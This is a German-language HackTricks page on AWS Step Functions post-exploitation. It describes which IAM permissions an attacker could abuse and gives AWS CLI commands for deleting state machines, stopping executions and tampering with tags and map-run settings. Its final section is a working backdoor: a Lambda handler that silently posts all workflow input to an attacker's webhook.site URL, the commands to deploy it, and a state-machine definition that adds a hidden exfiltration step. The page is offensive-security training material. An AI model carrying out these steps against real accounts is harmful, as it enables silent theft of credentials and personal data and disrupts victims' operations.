AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Step Functions

Für weitere Informationen zu diesem AWS-Service siehe:

AWS - Step Functions Enum

states:RevealSecrets

Diese Berechtigung ermöglicht das Offenlegen geheimer Daten innerhalb einer Ausführung. Dafür muss die Inspektionsstufe auf TRACE gesetzt und der revealSecrets-Parameter auf true gesetzt werden.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Ein Angreifer mit diesen Berechtigungen könnte state machines, deren versions und aliases dauerhaft löschen. Dies kann kritische Workflows unterbrechen, zu Datenverlust führen und erheblichen Aufwand erfordern, um die betroffenen state machines wiederherzustellen. Zusätzlich würde es einem Angreifer ermöglichen, verwendete Spuren zu verwischen, forensische Untersuchungen zu stören und durch Entfernen wichtiger Automatisierungsprozesse und State-Konfigurationen den Betrieb erheblich zu beeinträchtigen.

note

  • Beim Löschen einer state machine löschen Sie außerdem alle damit verbundenen versions und aliases.
  • Beim Löschen eines state machine alias löschen Sie nicht die state machine versions, die auf diesen alias verweisen.
  • Es ist nicht möglich, eine state machine version zu löschen, die derzeit von einem oder mehreren aliases referenziert wird.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potential Impact: Unterbrechung kritischer Workflows, Datenverlust und Betriebsstillstand.

states:UpdateMapRun

Ein Angreifer mit dieser Berechtigung könnte die Map Run-Fehlerkonfiguration und die Parallel-Einstellung manipulieren und dadurch die maximal zulässige Anzahl von Child-Workflow-Ausführungen erhöhen oder verringern, was die Leistung des Dienstes direkt beeinträchtigt. Außerdem könnte ein Angreifer den tolerierten Fehlerprozentsatz und die Fehleranzahl verändern und diesen Wert auf 0 setzen, sodass bei jedem Fehler eines Elements der gesamte Map Run fehlschlägt — dies beeinflusst direkt die Ausführung der State Machine und kann kritische Workflows stören.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potentielle Auswirkungen: Leistungsbeeinträchtigung und Unterbrechung kritischer Workflows.

states:StopExecution

Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung jeder State Machine zu stoppen und damit laufende Workflows und Prozesse zu unterbrechen. Dies kann zu unvollständigen Transaktionen, angehaltenen Geschäftsabläufen und möglicher Datenkorruption führen.

warning

Diese Aktion wird von express state machines nicht unterstützt.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potentielle Auswirkungen: Unterbrechung laufender Workflows, betriebliche Ausfallzeiten und mögliche Datenkorruption.

states:TagResource, states:UntagResource

Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenaufteilung, die Ressourcenverfolgung und auf Tags basierende Zugriffssteuerungsrichtlinien Ihrer Organisation stören.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potenzielle Auswirkungen: Störung der Kostenallokation, der Ressourcenverfolgung und von auf Tags basierenden Zugriffskontrollrichtlinien.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...kann einen high-impact and stealthy post-exploitation attack durchführen, indem man Lambda backdooring mit Step Function logic manipulation kombiniert.

Dieses Szenario geht davon aus, dass das Opfer AWS Step Functions zur Orchestrierung von Workflows verwendet, die sensible Eingaben verarbeiten, wie z. B. credentials, tokens oder PII.

Beispiel: Aufruf des Opfers:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie LegitBusinessLogic aufruft, kann der Angreifer mit zwei heimlichen Angriffsvarianten fortfahren:


Aktualisierte Lambda-Funktion

Der Angreifer modifiziert den Code der bereits von der Step Function verwendeten Lambda-Funktion (LegitBusinessLogic), um Eingabedaten stillschweigend zu exfiltrieren.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Einen bösartigen State zur Step Function hinzufügen

Alternativ kann der Angreifer einen exfiltration state am Anfang des Workflows einfügen, indem er die Step Function-Definition aktualisiert.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Der Angreifer kann noch heimlicher vorgehen und die State-Definition wie folgt ändern { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } wobei das Opfer keinen Unterschied bemerkt.


Opfer-Setup (Kontext für Exploit)

  • Eine Step Function (LegitStateMachine) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
  • Sie ruft eine oder mehrere Lambda-Funktionen wie LegitBusinessLogic auf.

Mögliche Auswirkungen:

  • Stilles Exfiltrieren sensibler Daten, einschließlich secrets, credentials, API keys und PII.
  • Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
  • Schwer zu erkennen, ohne den Lambda-Code oder Ausführungs-Traces zu prüfen.
  • Ermöglicht langfristige Persistenz, wenn die backdoor im Code oder in der ASL-Logik verbleibt.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks